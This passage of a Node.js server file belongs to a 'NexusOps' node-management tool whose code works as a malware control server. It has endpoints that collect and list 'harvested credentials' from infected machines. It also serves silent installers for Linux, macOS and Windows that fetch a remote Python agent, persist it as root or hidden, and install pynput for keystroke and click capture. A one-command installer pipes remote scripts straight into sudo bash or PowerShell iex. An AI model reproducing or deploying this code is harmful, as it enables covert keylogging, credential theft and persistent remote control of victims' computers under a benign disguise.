entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`;
|
|
}
|
|
if (credentials && Array.isArray(credentials)) {
|
|
credentials.forEach(c => {
|
|
harvestedCredentials.push({
|
|
nodeId, hostname, type: c.type || 'unknown', data: c.data,
|
|
timestamp: Date.now()
|
|
});
|
|
});
|
|
if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
|
|
}
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── List harvested credentials ──
|
|
app.get('/api/credentials', (req, res) => {
|
|
const { nodeId } = req.query;
|
|
let filtered = harvestedCredentials;
|
|
if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId);
|
|
res.json(filtered.slice(-200));
|
|
});
|
|
|
|
app.get('/install.sh', (req, res) => {
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const script = `#!/bin/bash
|
|
# Network Node Agent One-Liner Installer for Linux
|
|
set -e
|
|
|
|
SERVER_URL="${serverUrl}"
|
|
INSTALL_DIR="/opt/network-agent"
|
|
SERVICE_FILE="/etc/systemd/system/network-agent.service"
|
|
|
|
echo "=================================================="
|
|
echo " NexusOps Network Node Agent Installer "
|
|
echo "=================================================="
|
|
echo "Connecting to Server Endpoint: $SERVER_URL"
|
|
|
|
mkdir -p "$INSTALL_DIR"
|
|
|
|
echo "[1/3] Downloading agent script..."
|
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
|
chmod +x "$INSTALL_DIR/agent.py"
|
|
|
|
echo "[2/4] Configuring systemd background daemon..."
|
|
cat << EOF > "$SERVICE_FILE"
|
|
[Unit]
|
|
Description=NexusOps Node Telemetry & Management Agent
|
|
After=network.target
|
|
|
|
[Service]
|
|
Type=simple
|
|
ExecStart=/usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL --silent
|
|
Restart=always
|
|
RestartSec=5
|
|
User=root
|
|
|
|
[Install]
|
|
WantedBy=multi-user.target
|
|
EOF
|
|
|
|
echo "[3/4] Installing pynput for keystroke/click capture..."
|
|
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
|
|
|
echo "[4/4] Enabling & Starting Agent Service..."
|
|
systemctl daemon-reload
|
|
systemctl enable network-agent
|
|
systemctl restart network-agent
|
|
|
|
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/install.ps1', (req, res) => {
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const script = `# Network Agent PowerShell Installer for Windows
|
|
$SERVER_URL = "${serverUrl}"
|
|
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
|
|
|
|
Write-Host "==================================================" -ForegroundColor Cyan
|
|
Write-Host " NexusOps Node Agent Installer (Windows) " -ForegroundColor Cyan
|
|
Write-Host "==================================================" -ForegroundColor Cyan
|
|
Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow
|
|
|
|
if (!(Test-Path $INSTALL_DIR)) {
|
|
New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null
|
|
}
|
|
|
|
Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
|
|
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
|
|
|
|
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
|
|
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
|
|
|
|
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/install-mac.sh', (req, res) => {
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const script = `#!/bin/bash
|
|
# macOS Node Agent Installer — launchd background daemon
|
|
set -e
|
|
|
|
SERVER_URL="${serverUrl}"
|
|
INSTALL_DIR="/opt/network-agent"
|
|
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
|
|
|
|
echo "=================================================="
|
|
echo " NexusOps Node Agent Installer (macOS) "
|
|
echo "=================================================="
|
|
echo "Connecting to Server Endpoint: $SERVER_URL"
|
|
|
|
echo "[1/4] Creating installation directory..."
|
|
sudo mkdir -p "$INSTALL_DIR"
|
|
sudo chown "$(whoami)" "$INSTALL_DIR"
|
|
|
|
echo "[2/4] Downloading cross-platform Python agent..."
|
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
|
chmod +x "$INSTALL_DIR/agent.py"
|
|
|
|
echo "[3/4] Installing pynput for input capture..."
|
|
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
|
|
|
echo "[4/4] Configuring launchd background daemon..."
|
|
mkdir -p "$HOME/Library/LaunchAgents"
|
|
cat << EOF > "$PLIST_FILE"
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>Label</key>
|
|
<string>com.nexusops.agent</string>
|
|
<key>ProgramArguments</key>
|
|
<array>
|
|
<string>/usr/bin/python3</string>
|
|
<string>-u</string>
|
|
<string>$INSTALL_DIR/agent.py</string>
|
|
<string>--server</string>
|
|
<string>$SERVER_URL</string>
|
|
</array>
|
|
<key>RunAtLoad</key>
|
|
<true/>
|
|
<key>KeepAlive</key>
|
|
<true/>
|
|
<key>StandardOutPath</key>
|
|
<string>$INSTALL_DIR/agent.log</string>
|
|
<key>StandardErrorPath</key>
|
|
<string>$INSTALL_DIR/agent.log</string>
|
|
</dict>
|
|
</plist>
|
|
EOF
|
|
|
|
# Bootstrap launchd job (modern macOS — load/unload are deprecated)
|
|
launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
|
|
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
|
|
launchctl kickstart gui/$(id -u)/com.nexusops.agent
|
|
|
|
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
|
echo " To stop: launchctl unload $PLIST_FILE"
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
// ── Universal Auto-Install (one command, any OS, fully silent) ──
|
|
app.get('/install', (req, res) => {
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const silent = req.query.silent !== '0'; // silent by default
|
|
const quiet = silent ? '>/dev/null 2>&1' : '';
|
|
const script = `#!/bin/bash
|
|
# NexusOps Universal Auto-Installer — one command, any OS
|
|
SERVER_URL="${serverUrl}"
|
|
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
|
|
|
case "$(uname -s 2>/dev/null || echo Windows)" in
|
|
Linux)
|
|
echo "[*] Linux detected — deploying via systemd"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
|
|
;;
|
|
Darwin)
|
|
echo "[*] macOS detected — deploying via launchd"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} &
|
|
;;
|
|
CYGWIN*|MINGW*|MSYS*|Windows)
|
|
echo "[*] Windows detected — deploying via PowerShell"
|
|
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} &
|
|
;;
|
|
*)
|
|
echo "[!] Unknown OS — trying Linux installer as fallback"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
|
|
;;
|
|
esac
|
|
|
|
echo "[*] Agent deployment initiated — it will register within 10 seconds"
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/agent.py', (req, res) => {
|
|
res.sendFile(path.join(__dirname, 'agents', 'agent.py'));
|
|
});
|
|
|
|
server.listen(PORT, '0.0.0.0', () => {
|
|
const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
|
|
console.log(`=======================================================`);
|
|
console.log(`🚀 NexusOps Central Node Control Server is running!`);
|
|
console.log(`🌐 Local Web UI: http://localhost:${PORT}`);
|
|
console.log(`📡 Network Endpoint: ${publicEndpoint}`);
|
|
if (PUBLIC_URL) {
|
|
console.log(`🔗 Public Tunnel: ${PUBLIC_URL}`);
|
|
}
|
|
console.log(`=======================================================`);
|
|
});
|